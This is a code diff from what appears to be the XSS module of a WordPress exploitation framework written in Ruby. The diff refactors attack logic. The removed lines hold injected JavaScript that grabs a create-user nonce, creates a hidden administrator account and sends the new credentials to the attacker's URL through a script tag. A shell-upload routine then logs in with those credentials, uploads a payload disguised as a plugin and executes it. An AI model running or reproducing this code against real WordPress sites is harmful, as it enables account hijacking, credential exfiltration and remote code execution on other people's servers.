|
4 | 4 | module Wpxf::WordPress::Xss |
5 | 5 | include Wpxf |
6 | 6 | include Wpxf::Net::HttpServer |
7 | | - include Wpxf::WordPress::Login |
8 | 7 | include Wpxf::WordPress::Plugin |
9 | | - |
10 | 8 | include ERB::Util |
11 | 9 |
|
12 | 10 | # Initialize a new instance of {Xss}. |
@@ -64,38 +62,19 @@ def xss_ascii_encoded_include_script |
64 | 62 | # @return [String] a script that will create a new admin user and post the |
65 | 63 | # credentials back to {#xss_url}. |
66 | 64 | def wordpress_js_create_user |
67 | | - username = Utility::Text.rand_alpha(6) |
68 | | - password = Utility::Text.rand_alpha(10) |
69 | | - |
70 | | - %Q| |
| 65 | + variables = { |
| 66 | + '$wordpress_url_new_user' => wordpress_url_new_user, |
| 67 | + '$username' => Utility::Text.rand_alpha(6), |
| 68 | + '$password' => Utility::Text.rand_alpha(10), |
| 69 | + '$email' => "#{Utility::Text.rand_alpha(7)}@#{Utility::Text.rand_alpha(10)}.com", |
| 70 | + '$xss_url' => xss_url |
| 71 | + } |
| 72 | + |
| 73 | + %( |
71 | 74 | #{js_ajax_download} |
72 | 75 | #{js_ajax_post} |
73 | | -
|
74 | | - var create_user = function () { |
75 | | - var nonce = this.responseText.match(/id="_wpnonce_create-user" name="_wpnonce_create-user" value="([a-z0-9]+)"/i)[1]; |
76 | | - var data = new FormData(); |
77 | | -
|
78 | | - data.append('action', 'createuser'); |
79 | | - data.append('_wpnonce_create-user', nonce); |
80 | | - data.append('_wp_http_referer', '#{wordpress_url_new_user}'); |
81 | | - data.append('user_login', '#{username}'); |
82 | | - data.append('email', '#{Utility::Text.rand_alpha(7)}@#{Utility::Text.rand_alpha(10)}.com'); |
83 | | - data.append('pass1', '#{password}'); |
84 | | - data.append('pass2', '#{password}'); |
85 | | - data.append('role', 'administrator'); |
86 | | -
|
87 | | - postInfo("#{wordpress_url_new_user}", data, function () { |
88 | | - var a = document.createElement("script"); |
89 | | - a.setAttribute("src", "#{xss_url}?u=#{username}&p=#{password}"); |
90 | | - document.head.appendChild(a); |
91 | | - }); |
92 | | - }; |
93 | | -
|
94 | | - ajax_download({ |
95 | | - path: "#{wordpress_url_new_user}", |
96 | | - cb: create_user |
97 | | - }); |
98 | | - | |
| 76 | + #{read_js_file_with_vars('create_wp_user.js', variables)} |
| 77 | + ) |
99 | 78 | end |
100 | 79 |
|
101 | 80 | # Default HTTP request handler for XSS modules which will serve the script |
@@ -127,22 +106,36 @@ def upload_shell(username, password) |
127 | 106 | cookie = authenticate_with_wordpress(username, password) |
128 | 107 | return false unless cookie |
129 | 108 |
|
130 | | - emit_info 'Uploading payload...' |
131 | 109 | plugin_name = Utility::Text.rand_alpha(10) |
132 | 110 | payload_name = Utility::Text.rand_alpha(10) |
| 111 | + |
| 112 | + emit_info 'Uploading payload...' |
133 | 113 | unless wordpress_upload_payload_plugin(plugin_name, payload_name, cookie) |
134 | 114 | emit_error 'Failed to upload the payload' |
135 | 115 | return false |
136 | 116 | end |
137 | 117 |
|
| 118 | + execute_payload(plugin_name, payload_name) |
| 119 | + |
| 120 | + true |
| 121 | + end |
| 122 | + |
| 123 | + # @return [Boolean] true if the XSS shell upload was successful. |
| 124 | + def xss_shell_success |
| 125 | + @success |
| 126 | + end |
| 127 | + |
| 128 | + private |
| 129 | + |
| 130 | + def execute_payload(plugin_name, payload_name) |
138 | 131 | payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") |
139 | 132 | emit_info "Executing the payload at #{payload_url}..." |
140 | 133 | res = execute_get_request(url: payload_url) |
| 134 | + emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty? |
| 135 | + end |
141 | 136 |
|
142 | | - if res && res.code == 200 && !res.body.strip.empty? |
143 | | - emit_success "Result: #{res.body}" |
144 | | - end |
145 | | - |
146 | | - true |
| 137 | + def read_js_file_with_vars(name, vars) |
| 138 | + matcher = /#{vars.keys.map { |k| Regexp.escape(k) }.join('|')}/ |
| 139 | + File.read(File.join(Wpxf.data_directory, 'js', name)).gsub(matcher, vars) |
147 | 140 | end |
148 | 141 | end |
0 commit comments